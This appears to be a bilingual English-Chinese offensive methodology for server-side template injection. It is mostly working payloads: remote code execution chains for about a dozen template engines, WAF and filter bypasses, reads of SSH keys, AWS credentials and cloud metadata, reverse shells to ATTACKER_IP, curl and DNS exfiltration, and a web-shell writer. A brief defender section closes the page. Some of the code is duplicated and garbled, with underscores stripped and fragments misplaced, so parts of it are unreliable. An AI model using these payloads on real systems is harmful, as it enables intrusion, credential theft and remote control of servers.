offensive-ssti
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseServer-Side Template Injection (SSTI) -- Offensive Methodology
服务端模板注入(SSTI)——攻击方法论
SSTI exists wherever user-controlled input is concatenated into a server-side
template string and the engine evaluates it as code. The engine executes
attacker-supplied directives, granting access to the language runtime and, in
nearly every engine, remote code execution through the host language's object
model. You encounter SSTI in any application passing raw user input to functions
like , , or .
render_template_string()Template()compile()CWE-1336. MITRE ATT&CK T1190.
只要用户可控输入被拼接进服务端模板字符串,并由模板引擎将其作为代码求值,SSTI 就会存在。引擎会执行攻击者提供的指令,从而使其能够访问语言运行时;在几乎所有引擎中,还可借助宿主语言的对象模型实现远程代码执行。任何将原始用户输入传入 、 或 等函数的应用,都可能存在 SSTI。
render_template_string()Template()compile()CWE-1336。MITRE ATT&CK T1190。
Quick Workflow
快速工作流
- Map injection surfaces: URL params, POST bodies, JSON values, path segments, headers, cookies.
- Inject polyglot probes and engine-specific arithmetic expressions; note evaluation, errors, or blank output.
- Fingerprint the engine via decision-tree probes, error signatures, and variable enumeration (section 1).
- Confirm server-side execution -- rule out client-side template injection (AngularJS, Vue.js).
- Escalate to information disclosure: dump config, env vars, secrets, internal paths.
- Achieve code execution with the engine-specific chain; apply bypass techniques if blocked (section 6).
- Chain for higher impact: file read, SSRF to cloud metadata, reverse shell, internal pivot.
- Produce non-destructive PoC with unique marker and capture the full request/response chain.
- 映射注入面:URL 参数、POST 正文、JSON 值、路径段、请求头、Cookie。
- 注入多语言探针和引擎专属的算术表达式;记录求值结果、错误或空白输出。
- 通过决策树探针、错误特征和变量枚举来识别引擎(第 1 节)。
- 确认服务端执行——排除客户端模板注入(AngularJS、Vue.js)。
- 升级为信息泄露:转储配置、环境变量、密钥和内部路径。
- 使用引擎专属利用链实现代码执行;如遇拦截,则应用绕过技术(第 6 节)。
- 组合利用以扩大影响:读取文件、通过 SSRF 访问云元数据、获取反向 Shell、进行内网横向移动。
- 生成带唯一标记的非破坏性 PoC,并捕获完整的请求/响应链。
1. Engine Detection and Fingerprinting
1. 引擎检测与指纹识别
1.1 Polyglot Probes
1.1 多语言探针
text
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)Engine-narrowing probes:
text
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)For Velocity, inject then reference .
For Thymeleaf/SpEL, inject a dollar-curly expression with .
For Mako, inject a dollar-curly expression with .
#set( $x = 7 * 7 )$xT(java.lang.Math).PIself.module.__name__text
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)用于缩小引擎识别范围的探针:
text
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)对于 Velocity,注入 ,然后引用 。
对于 Thymeleaf/SpEL,注入包含 的美元符号-大括号表达式。
对于 Mako,注入包含 的美元符号-大括号表达式。
#set( $x = 7 * 7 )$xT(java.lang.Math).PIself.module.__name__1.2 Decision Tree
1.2 决策树
text
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razortext
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor1.3 Error Signatures
1.3 错误特征
| Signature | Engine |
|---|---|
| Jinja2 |
| Twig |
| Freemarker |
| Velocity |
| Pebble |
| Smarty |
| Mako |
| Handlebars |
| ERB |
| Thymeleaf |
| EJS |
| Pug |
| 特征 | 引擎 |
|---|---|
| Jinja2 |
| Twig |
| Freemarker |
| Velocity |
| Pebble |
| Smarty |
| Mako |
| Handlebars |
| ERB |
| Thymeleaf |
| EJS |
| Pug |
1.4 Blind Detection
1.4 盲检测
Time-based: (Jinja2), (ERB).
For Java engines, inject a dollar-curly with .
{{range(99999999)|join}}<%= sleep(5) %>T(java.lang.Thread).sleep(5000)OOB DNS: Use Burp Collaborator or interactsh. Jinja2:
.
Twig: .
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}{{['nslookup UNIQUE.oastify.com']|map('system')}}Error inference: Compare vs -- different response
behavior confirms processing.
{{7*7}}{{7*'INVALID}}基于时间: (Jinja2)、(ERB)。
对于 Java 引擎,注入包含 的美元符号-大括号表达式。
{{range(99999999)|join}}<%= sleep(5) %>T(java.lang.Thread).sleep(5000)OOB DNS: 使用 Burp Collaborator 或 interactsh。Jinja2:
。
Twig:。
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}{{['nslookup UNIQUE.oastify.com']|map('system')}}错误推断: 比较 与 ——响应行为的差异可确认模板已被处理。
{{7*7}}{{7*'INVALID'}}2. Jinja2 / Python
2. Jinja2 / Python
Exploitation relies on MRO traversal to , subclass enumeration, and
/ access.
object__globals____builtins__利用依赖于遍历 MRO 到达 、枚举子类,以及访问 /。
object__globals____builtins__2.1 MRO Traversal and Subclass Enumeration
2.1 MRO 遍历与子类枚举
python
{{''.__class__.__mro__[1]}} # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclassespython
{{''.__class__.__mro__[1]}} # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclassesFind subprocess.Popen index (varies by Python version -- never hardcode)
Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.class.mro[1].subclasses() %}
{% if 'Popen' in cls.name %}{{ loop.index0 }}{% endif %}
{% endfor %}
undefined{% for cls in ''.class.mro[1].subclasses() %}
{% if 'Popen' in cls.name %}{{ loop.index0 }}{% endif %}
{% endfor %}
undefined2.2 RCE Chains
2.2 RCE 利用链
python
undefinedpython
undefinedVia subprocess.Popen (replace INDEX with runtime value)
Via subprocess.Popen (replace INDEX with runtime value)
{{''.class.mro[1].subclasses()INDEX.communicate()[0]}}
{{''.class.mro[1].subclasses()INDEX.communicate()[0]}}
Via self.init.globals
Via self.init.globals
{{self.init.globals.builtins.import('os').popen('id').read()}}
{{self.init.globals.builtins.import('os').popen('id').read()}}
Via request.application (Flask)
Via request.application (Flask)
{{request.application.globals.builtins.import('os').popen('id').read()}}
{{request.application.globals.builtins.import('os').popen('id').read()}}
Via config object
Via config object
{{config.class.from_envvar.globals.builtins.import('os').popen('id').read()}}
{{config.class.from_envvar.globals.builtins.import('os').popen('id').read()}}
Via cycler (bypasses some sandboxes)
Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.init.globals.os.popen('id').read()}}
{{self._TemplateReference__context.cycler.init.globals.os.popen('id').read()}}
Via lipsum / namespace / joiner globals
Via lipsum / namespace / joiner globals
{{lipsum.globals.os.popen('id').read()}}
{{namespace.init.globals.os.popen('id').read()}}
{{lipsum.globals.os.popen('id').read()}}
{{namespace.init.globals.os.popen('id').read()}}
Via warnings module search
Via warnings module search
{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x()._module.builtins'import'.popen('id').read()}}
{% endif %}
{% endfor %}
undefined{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x()._module.builtins'import'.popen('id').read()}}
{% endif %}
{% endfor %}
undefined2.3 File Ops and Info Disclosure
2.3 文件操作与信息泄露
python
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}} # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
{{request.environ}} # WSGI envpython
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}} # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
{{request.environ}} # WSGI env3. Twig / PHP
3. Twig / PHP
3.1 Legacy (Twig 1.x) -- _self.env
3.1 旧版(Twig 1.x)-- _self.env
php
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}php
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}3.2 Modern (Twig 2.x/3.x) -- Filter Callbacks
3.2 现代版本(Twig 2.x/3.x)-- 过滤器回调
php
{{'id'|filter('system')}} # filter() with system
{{'id'|filter('passthru')}} # filter() with passthru
{{['id']|map('system')|join}} # map() callback
{{['id',0]|sort('system')|join}} # sort() callback
{{[0,'id']|reduce('system')}} # reduce() callbackphp
{{'id'|filter('system')}} # filter() with system
{{'id'|filter('passthru')}} # filter() with passthru
{{['id']|map('system')|join}} # map() callback
{{['id',0]|sort('system')|join}} # sort() callback
{{[0,'id']|reduce('system')}} # reduce() callback3.3 Info Disclosure
3.3 信息泄露
php
{{app.request.server.all|join(',')}} # Symfony server vars
{{dump(app)}} # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
{{'/etc/passwd'|file_get_contents}} # If exposed as filterphp
{{app.request.server.all|join(',')}} # Symfony server vars
{{dump(app)}} # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
{{'/etc/passwd'|file_get_contents}} # If exposed as filter4. Java Template Engines
4. Java 模板引擎
4.1 Freemarker -- Execute and ObjectConstructor
4.1 Freemarker -- Execute 与 ObjectConstructor
RCE via the Execute class -- use to instantiate it, then reference
it in a dollar-curly expression with the command string as argument:
<#assign>http
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.comObjectConstructor for ProcessBuilder:
html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>通过 Execute 类实现 RCE——使用 实例化该类,然后在美元符号-大括号表达式中引用它,并将命令字符串作为参数:
<#assign>http
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com使用 ObjectConstructor 调用 ProcessBuilder:
html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>4.2 Velocity -- Runtime.exec
4.2 Velocity -- Runtime.exec
java
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()java
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\A").next()4.3 Pebble -- Reflection Chain
4.3 Pebble -- 反射链
java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}4.4 Thymeleaf -- SpEL via Preprocessing
4.4 Thymeleaf -- 通过预处理执行 SpEL
Thymeleaf preprocessing evaluates double-underscore-wrapped expressions before
template resolution. Inject into path variables or parameters:
http
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.comFile read:
http
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.comSpEL keyword bypass via Character references:
produces .
T(Character).toString(105).concat(T(Character).toString(100))idSpring bean access: .
@environment.getProperty('spring.datasource.password')Thymeleaf 预处理会在模板解析前对双下划线包裹的表达式求值。将载荷注入路径变量或参数:
http
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com文件读取:
http
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com通过字符引用绕过 SpEL 关键字:
可生成 。
T(Character).toString(105).concat(T(Character).toString(100))id访问 Spring Bean:。
@environment.getProperty('spring.datasource.password')5. Other Engines
5. 其他引擎
5.1 Smarty (PHP)
5.1 Smarty(PHP)
php
{$smarty.version} # Version disclosure
{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}php
{$smarty.version} # Version disclosure
{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}5.2 Mako (Python)
5.2 Mako(Python)
Mako compiles to Python modules with full runtime access. Block-style:
python
<% import os; result = os.popen('id').read() %>Then output the variable in a dollar-curly expression. URL-encoded single-line:
http
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.comMako 会编译为 Python 模块,并拥有完整的运行时访问权限。块式语法:
python
<% import os; result = os.popen('id').read() %>随后在美元符号-大括号表达式中输出该变量。URL 编码的单行形式:
http
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com5.3 ERB (Ruby)
5.3 ERB(Ruby)
ruby
<%= system("id") %> # Command exec
<%= `id` %> # Backtick exec
<%= File.open('/etc/passwd').read() %> # File read
<%= Rails.application.credentials.secret_key_base %> # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>ruby
<%= system("id") %> # Command exec
<%= `id` %> # Backtick exec
<%= File.open('/etc/passwd').read() %> # File read
<%= Rails.application.credentials.secret_key_base %> # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>5.4 Handlebars (Node.js)
5.4 Handlebars(Node.js)
Logic-less by design; RCE requires prototype pollution or unsafe helpers:
javascript
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}Handlebars 本身采用无逻辑设计;RCE 需要借助原型污染或不安全的 helper:
javascript
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}5.5 EJS (Node.js)
5.5 EJS(Node.js)
javascript
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>Prototype pollution via :
outputFunctionNamehttp
POST /render HTTP/1.1
Content-Type: application/json
{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}javascript
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>通过 实施原型污染:
outputFunctionNamehttp
POST /render HTTP/1.1
Content-Type: application/json
{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}5.6 Pug / Nunjucks (Node.js)
5.6 Pug / Nunjucks(Node.js)
Pug:
javascript
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= xNunjucks:
javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}Pug:
javascript
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= xNunjucks:
javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}6. Filter and WAF Bypass
6. 过滤器与 WAF 绕过
6.1 Character Restriction Bypass (Jinja2)
6.1 字符限制绕过(Jinja2)
python
undefinedpython
undefinedDot blocked -- use |attr() or brackets
Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}
{{request|attr('application')}}
{{request['application']}}
Underscore blocked -- hex encode (\x5f = _)
Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
{{''['\x5f\x5fclass\x5f\x5f']}}
Or pass via request param: ?a=class
Or pass via request param: ?a=class
{{''|attr(request.args.a)}}
{{''|attr(request.args.a)}}
Brackets/quotes blocked -- chain |attr() with request.args
Brackets/quotes blocked -- chain |attr() with request.args
URL: ?a=class&b=mro&c=subclasses
URL: ?a=class&b=mro&c=subclasses
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
undefined{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
undefined6.2 String Construction
6.2 字符串构造
python
undefinedpython
undefinedTilde concatenation
Tilde concatenation
{{''|attr('cla'~'ss')}}
{{''|attr('cla'~'ss')}}
Join filter
Join filter
{{''|attr(['cla','ss']|join)}}
{{''|attr(['cla','ss']|join)}}
Plus in brackets
Plus in brackets
{{''['cla'+'ss']}}
{{''['cla'+'ss']}}
chr() construction
chr() construction
{% set chr = ''.class.mro[1].subclasses()[80].init.globals.builtins.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
{% set chr = ''.class.mro[1].subclasses()[80].init.globals.builtins.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
Twig tilde
Twig tilde
{{('sys'~'tem')('id')}}
undefined{{('sys'~'tem')('id')}}
undefined6.3 Attribute Access Alternatives
6.3 属性访问替代方式
python
{{obj|attr('__class__')}} # |attr() filter
{{obj.__getattribute__('__class__')}} # __getattribute__
{{obj['__class__']}} # bracket notation
{{obj|attr('__getitem__')('key')}} # |attr() + __getitem__python
{{obj|attr('__class__')}} # |attr() filter
{{obj.__getattribute__('__class__')}} # __getattribute__
{{obj['__class__']}} # bracket notation
{{obj|attr('__getitem__')('key')}} # |attr() + __getitem__6.4 Encoding and Smuggling
6.4 编码与走私
python
undefinedpython
undefinedHex/octal encoding
Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}
Request parameter smuggling
Request parameter smuggling
URL: ?c=class
URL: ?c=class
{{request|attr(request.args.c)}}
{{request|attr(request.args.c)}}
URL: ?f=%s%sclass%s%s&a=_
URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
URL: ?l=a&a=&a=&a=class&a=&a=
URL: ?l=a&a=&a=&a=class&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}
undefined{{request|attr(request.args.getlist(request.args.l)|join)}}
undefined6.5 WAF Evasion Techniques
6.5 WAF 规避技术
text
Parameter splitting: ?a={{&b=7*7&c=}}
HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
Double URL encoding: %257B%257B7*7%257D%257D
Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)text
Parameter splitting: ?a={{&b=7*7&c=}}
HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
Double URL encoding: %257B%257B7*7%257D%257D
Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)6.6 Engine-Specific Bypass
6.6 引擎专属绕过
Freemarker -- when is restricted, use ObjectConstructor:
?new()html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>Thymeleaf -- build strings from calls to avoid keyword filters.
T(Character).toString()Freemarker——当 受到限制时,使用 ObjectConstructor:
?new()html
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>Thymeleaf——通过组合 调用来构造字符串,以避开关键字过滤器。
T(Character).toString()7. Blind Exploitation
7. 盲利用
7.1 Time-Based
7.1 基于时间
python
{{range(99999999)|join}} # Jinja2: CPU-intensive delay
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('time').sleep(5)}}
{% endif %}
{% endfor %} # Jinja2: explicit sleepphp
{{['sleep 5']|map('system')}} # Twigruby
<%= sleep(5) %> # ERBFreemarker: assign Execute, invoke with . Thymeleaf: dollar-curly
with in preprocessing wrapper.
"sleep 5"T(java.lang.Thread).sleep(5000)python
{{range(99999999)|join}} # Jinja2: CPU-intensive delay
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('time').sleep(5)}}
{% endif %}
{% endfor %} # Jinja2: explicit sleepphp
{{['sleep 5']|map('system')}} # Twigruby
<%= sleep(5) %> # ERBFreemarker:赋值 Execute,然后以 调用。Thymeleaf:在预处理包装器中使用带有 的美元符号-大括号表达式。
"sleep 5"T(java.lang.Thread).sleep(5000)7.2 OOB DNS Callbacks
7.2 OOB DNS 回调
python
undefinedpython
undefinedJinja2 -- confirm execution
Jinja2 -- confirm execution
{{self.init.globals.builtins.import('os').popen('curl http://UNIQUE.oastify.com').read()}}
{{self.init.globals.builtins.import('os').popen('curl http://UNIQUE.oastify.com').read()}}
Jinja2 -- exfiltrate data in subdomain
Jinja2 -- exfiltrate data in subdomain
{{self.init.globals.builtins.import('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
```php
{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twigruby
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB{{self.init.globals.builtins.import('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
```php
{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twigruby
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB7.3 Error and Boolean Inference
7.3 错误与布尔推断
python
{{config.__class__.__name__ + 1}} # Type error leaks data in error page
{{1/0}} # Division by zero with engine infopython
{{config.__class__.__name__ + 1}} # Type error leaks data in error page
{{1/0}} # Division by zero with engine infoBoolean blind -- extract character by character
Boolean blind -- extract character by character
{% if ''.class.mro[1].subclasses()40.read()[0] == 'r' %}TRUE{% endif %}
---{% if ''.class.mro[1].subclasses()40.read()[0] == 'r' %}TRUE{% endif %}
---8. Chained Exploitation
8. 链式利用
8.1 SSTI to SSRF
8.1 SSTI 到 SSRF
python
undefinedpython
undefinedCloud metadata
Cloud metadata
{{self.init.globals.builtins.import('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
{{self.init.globals.builtins.import('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
Internal service access
Internal service access
{{self.init.globals.builtins.import('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
undefined{{self.init.globals.builtins.import('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
undefined8.2 SSTI to File Read
8.2 SSTI 到文件读取
python
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process envpython
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process env8.3 SSTI to Reverse Shell
8.3 SSTI 到反向 Shell
Jinja2:
python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}Freemarker: assign Execute, invoke with
.
bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}ERB:
ruby
<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>Jinja2:
python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}Freemarker:赋值 Execute,然后调用
。
bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}ERB:
ruby
<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>8.4 SSTI to Privesc Enumeration
8.4 SSTI 到权限提升枚举
python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}python
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}8.5 SSTI to Data Exfiltration
8.5 SSTI 到数据外传
python
undefinedpython
undefinedChunked DNS exfil
Chunked DNS exfil
{{self.init.globals.builtins.import('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
{{self.init.globals.builtins.import('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
HTTP POST exfil
HTTP POST exfil
{{self.init.globals.builtins.import('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}
---{{self.init.globals.builtins.import('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}
---Detection / Defender View
检测与防御方视角
Indicators of Attack:
- Template delimiters in input: ,
{{,{%,<%,#{,#set(.<#assign - MRO strings: ,
__class__,__mro__,__subclasses__,__globals__.__builtins__ - Java reflection: ,
getRuntime,ProcessBuilder,forName.T(java.lang - Template errors in responses from user-triggered requests.
Indicators of Compromise:
- Unexpected child processes from web workers (,
sh,bash,curl).nslookup - New files in or web root created by the app process.
/tmp - Outbound connections to callback services or unfamiliar IPs.
- Cloud metadata access from containers that should not query 169.254.169.254.
Prevention:
- Never concatenate user input into template strings -- use template variables.
